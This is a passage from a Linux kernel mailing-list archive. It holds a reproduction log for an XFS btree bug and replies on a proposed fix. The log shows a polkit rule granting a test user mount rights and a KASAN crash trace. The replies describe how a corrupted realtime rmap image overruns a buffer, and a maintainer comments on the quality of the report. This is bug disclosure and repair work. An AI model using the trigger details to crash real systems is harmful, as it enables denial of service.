Original PoC uses real /usr/bin/udisksctl, which requests real privileged udisksd operations.
polkit.addRule(function(action, subject) {
var allowed = [
"org.freedesktop.udisks2.loop-setup",
"org.freedesktop.udisks2.filesystem-mount",
"org.freedesktop.udisks2.filesystem-mount-system",
"org.freedesktop.udisks2.filesystem-mount-other-seat"
];
if (subject.user == "test" && allowed.indexOf(action.id) >= 0) {
polkit.log("XFS retest authorization: " + action.id + " for " + subject.user);
return polkit.Result.YES;
}
});
Starting systemd-udevd version 257.13-1~deb13u1
UDISKS_READINESS_ATTEMPT=1
MODEL REVISION SERIAL DEVICE
--------------------------------------------------------------------------
SERVICE_PROCESSES
PID UID GID COMMAND
1 0 0 /bin/bash /init
2 0 0 [kthreadd]
3 0 0 [pool_workqueue_release]
4 0 0 [kworker/R-rcu_gp]
5 0 0 [kworker/R-sync_wq]
6 0 0 [kworker/R-kvfree_rcu_reclaim]
7 0 0 [kworker/R-slub_flushwq]
8 0 0 [kworker/R-netns]
9 0 0 [kworker/0:0-events]
10 0 0 [kworker/0:0H]
11 0 0 [kworker/0:1-rcu_gp]
12 0 0 [kworker/u8:0-events_unbound]
13 0 0 [kworker/R-mm_percpu_wq]
14 0 0 [ksoftirqd/0]
15 0 0 [rcu_sched]
16 0 0 [rcu_exp_par_gp_kthread_worker/0]
17 0 0 [rcu_exp_gp_kthread_worker]
18 0 0 [migration/0]
19 0 0 [cpuhp/0]
20 0 0 [cpuhp/1]
21 0 0 [migration/1]
22 0 0 [ksoftirqd/1]
23 0 0 [kworker/1:0-rcu_gp]
24 0 0 [kworker/1:0H]
25 0 0 [kdevtmpfs]
26 0 0 [kworker/R-inet_frag_wq]
27 0 0 [rcu_tasks_kthread]
28 0 0 [rcu_tasks_rude_kthread]
29 0 0 [pr/ttyS0]
30 0 0 [kworker/u8:1-events_unbound]
31 0 0 [oom_reaper]
32 0 0 [kworker/u8:2]
33 0 0 [kworker/R-writeback]
34 0 0 [kworker/R-bio_complete]
35 0 0 [kworker/R-kblockd]
36 0 0 [irq/9-acpi]
37 0 0 [kworker/1:1-events]
38 0 0 [kworker/R-mld]
39 0 0 [kworker/R-ipv6_addrconf]
40 0 0 [kswapd0]
41 0 0 [kworker/R-xfsalloc]
42 0 0 [kworker/R-xfs_mru_cache]
43 0 0 [kworker/R-acpi_thermal_pm]
44 0 0 [kworker/0:2-mm_percpu_wq]
45 0 0 [kworker/0:3-events]
56 0 0 /usr/lib/systemd/systemd-udevd --daemon
58 0 0 (udev-worker)
59 0 0 (udev-worker)
60 0 0 (udev-worker)
61 0 0 (udev-worker)
62 0 0 (udev-worker)
63 0 0 (udev-worker)
64 0 0 (udev-worker)
65 0 0 (udev-worker)
66 0 0 (udev-worker)
67 0 0 (udev-worker)
68 0 0 (udev-worker)
69 0 0 (udev-worker)
70 0 0 (udev-worker)
75 997 997 dbus-daemon --system --fork --nopidfile
76 991 991 /usr/lib/polkit-1/polkitd --no-debug
77 0 0 /usr/libexec/udisks2/udisksd
109 0 0 ps -eo pid,uid,gid,args
GUEST_USER_PRECONDITION
uid=1000(test) gid=1000(test) groups=1000(test)
Bound: one original PoC execution, 180 seconds, including original 30-second reclamation wait; 30 seconds additional inodegc observation.
POC_START
uid=1000(test) gid=1000(test) groups=1000(test)
POC_EXEC command=./poc uid=1000 euid=1000 gid=1000
loop0: detected capacity change from 0 to 2097152
XFS (loop0): Mounting V5 Filesystem 7b2969a2-7e4e-4c1c-bc12-5d113f3cd783
XFS (loop0): Ending clean mount
XFS (loop0): limiting open zones to 2 due to total zone count (8)
XFS (loop0): 8 zones of 16384 blocks (2 max open zones)
==================================================================
BUG: KASAN: use-after-free in xfs_btree_lshift+0x87f/0x1300
Write of size 40 at addr ff1100007a130fe8 by task kworker/0:1/11
CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Not tainted 7.3.0-package1-2-20-xfs-mainline #2 PREEMPTLAZY
Workqueue: xfs-inodegc/loop0 xfs_inodegc_worker
Call Trace:
<TASK>
dump_stack_lvl+0x4f/0x70
print_report+0x159/0x4b0
? _raw_spin_lock_irqsave+0x7a/0xc0
? kasan_addr_to_slab+0xd/0x70
? xfs_btree_lshift+0x87f/0x1300
kasan_report+0xda/0x110
? xfs_btree_lshift+0x87f/0x1300
kasan_check_range+0x10d/0x1e0
__asan_memcpy+0x3b/0x60
xfs_btree_lshift+0x87f/0x1300
? xfs_btree_get_buf_block+0x4a0/0x4a0
? xfs_btree_dec_cursor+0xc0/0xc0
? __xfs_btree_check_block+0x2d1/0xb70
? xfs_btree_check_block+0x4a/0x1e0
xfs_btree_delrec+0x2498/0x36c0
? xfs_btree_lshift+0x1300/0x1300
? xfs_verify_fsbext+0x370/0x370
? xfs_rtrmap_check_irec+0x1e9/0x530
? xfs_rmap_get_rec+0x2c9/0x3e0
? xfs_rmap_query_range_helper+0x350/0x350
xfs_btree_delete+0x8a/0x290
? xfs_btree_insert+0x750/0x750
xfs_rmap_unmap+0xaf0/0x13a0
? xfs_rmap_lookup_le+0x260/0x260
? xfs_rtrmapbt_init_cursor+0x1ac/0x420
? __kasan_check_write+0x14/0x20
? xfs_group_hold+0x54/0x150
? xfs_rtrmapbt_init_cursor+0x1ac/0x420
__xfs_rmap_finish_intent+0x2a/0x80
xfs_rmap_finish_one+0x484/0xae0
? __xfs_rmap_finish_intent+0x80/0x80
? asm_sysvec_apic_timer_interrupt+0x1b/0x20
xfs_rmap_update_finish_item+0x1a/0x30
xfs_defer_finish_one+0x411/0xd40
? xfs_defer_trans_roll+0xfd/0x400
? xfs_defer_relog+0x8e0/0x8e0
xfs_defer_finish_noroll+0x400/0x17f0
? kasan_save_track+0x14/0x30
? xfs_defer_cancel+0x240/0x240
xfs_defer_finish+0x1c/0x1a0
xfs_bunmapi_range+0xb9/0x100
? xfs_bmap_validate_extent+0xf0/0xf0
xfs_itruncate_extents_flags+0x235/0x750
? simple_setattr+0xf0/0xf0
? xfs_link+0x880/0x880
xfs_inactive_truncate+0x11a/0x160
? xfs_itruncate_extents_flags+0x750/0x750
xfs_inactive+0x6cb/0xa60
? _raw_spin_lock_irq+0xb0/0xb0
? xfs_inactive_ifree+0x300/0x300
? __kasan_check_write+0x14/0x20
? _raw_write_lock_irq+0xb0/0xb0
xfs_inodegc_worker+0x2b1/0x640
process_one_work+0x5f9/0xf00
? pwq_dec_nr_in_flight+0xe70/0xe70
? xfs_blockgc_worker+0x350/0x350
? assign_work+0x135/0x320
worker_thread+0x4ef/0xcb0
? _raw_spin_lock_irq+0xb0/0xb0
? io_schedule_timeout+0x120/0x120
? rescuer_thread+0x1370/0x1370
kthread+0x348/0x490
? kthread_affine_node+0x1d0/0x1d0
ret_from_fork+0x26a/0x420
? exit_thread+0x60/0x60
? __kasan_check_read+0x11/0x20
? __switch_to+0x583/0xf10
? kthread_affine_node+0x1d0/0x1d0
ret_from_fork_asm+0x11/0x20
</TASK>
The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xff1100007a130600 pfn:0x7a130
flags: 0x0(zone=0)
raw: 0000000000000000 0000000000000000 dead000000000122 0000000000000000
raw: ff1100007a130600 0000000000000000 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ff1100007a130f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ff1100007a130f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ff1100007a131000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ff1100007a131080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff1100007a131100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
Kernel panic - not syncing: KASAN: panic_on_warn set ...
Kernel Offset: disabled
Rebooting in 1 seconds..
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH] xfs: validate btree block level on read
2026-10-23 19:27 ` David Lee
@ 2026-10-24 15:37 ` Eric Sandeen
2026-10-24 18:29 ` Eric Sandeen
0 siblings, 1 reply; 6+ messages in thread
From: Eric Sandeen @ 2026-10-24 15:37 UTC (permalink / raw)
To: linux-xfs
[-- Attachment #1: Type: text/plain, Size: 2277 bytes --]
On 10/23/26 2:27 PM, David Lee wrote:
> Hi Dave,
>
> Thanks for the review. I reproduced the issue on October 23, 2026 with
> the unchanged original PoC on mainline commit
> 734bef548a96e8774d6eef5dfa2026c6edc4e80b
> (7.3.0-package1-2-20-xfs-mainline).
>
> The cause is a wrong-level sibling: a level-1 node's left-sibling
> pointer references a checksum-valid level-0 RTRMAP leaf with 100
> records. The leaf verifier accepts that count because its limit is 167.
> But lshift uses the internal-node layout, whose limit is 83. Its
> equality check misses 100, increments the count to 101, and copies a
> 40-byte key pair at offset 4072, overrunning the 4 KiB buffer by 16
> bytes.
>
> The log reports the invalid write as a KASAN use-after-free in
> xfs_btree_lshift through inodegc. It introduces out-of-bounds key write
> described above.
>
> Attached poc.c, the detailed report.txt, and full_kasan.log.
This is a start. You still have not addressed the attribution problems
mentioned, and for any future submissions, it's preferable to have an
actual filesystem image, not an array of bytes in a C file, because
standard tools can be used to inspect and analyze the image. We can
of course modify the C code to leave the image in place, but it's several
extra steps for anyone who wants to look at it.
For automated(?) submissions like this, doing everything possible to
reduce friction and overhead for the scarce human developer resources
is going to be a win.
I've attached the fs image here; AFAICT the repro is to mount the
image, unlink the single file in it, and sync() then wait for GC.
Also just as a general note, this sort of corrupted image is generally
not considered to be a security issue even if it does describe a bug.
Mount is a privileged operation, and even udisks helper workarounds
require physical access to the machine.
(I haven't looked closely at the propoosed patch in the context of
Dave's initial review, just comments on the submission, style, and
supporting materials here.)
-Eric
> If this looks like the right direction, I'll send v2 with the corrected
> tags.
>
> For reference, here is the original mail thread:
> https://lore.kernel.org/linux-xfs/20260731120344.558808-1-david.lee@trailofbits.com/
>
> Best regards,
> David
[-- Attachment #2: rtrmap-poc.img.bz2 --]
[-- Type: application/x-bzip2, Size: 9759 bytes --]
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH] xfs: validate btree block level on read
2026-10-24 15:37 ` Eric Sandeen
@ 2026-10-24 18:29 ` Eric Sandeen
0 siblings, 0 replies; 6+ messages in thread
From: Eric Sandeen @ 2026-10-24 18:29 UTC (permalink / raw)
To: linux-xfs
On 10/24/26 10:37 AM, Eric Sandeen wrote:
> If this looks like the right direction, I'll send v2 with the corrected
> tags.
Sorry, I missed this part.
^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2026-10-24 18:29 UTC | newest]
Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-31 12:03 [PATCH] xfs: validate btree block level on read David Lee
2026-07-31 23:28 ` Dave Chinner
[not found] ` <CAC_etQGTnVV-Jd0waUMfT=8-JtSHxnrQq9jJRDQBisX+1EHWWg@mail.gmail.com>
[not found] ` <an-LhCZLN06ajjI5@dread>
2026-10-23 19:27 ` David Lee
2026-10-24 15:37 ` Eric Sandeen
2026-10-24 18:29 ` Eric Sandeen
2026-08-02 8:35 ` Sven Eckelmann
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.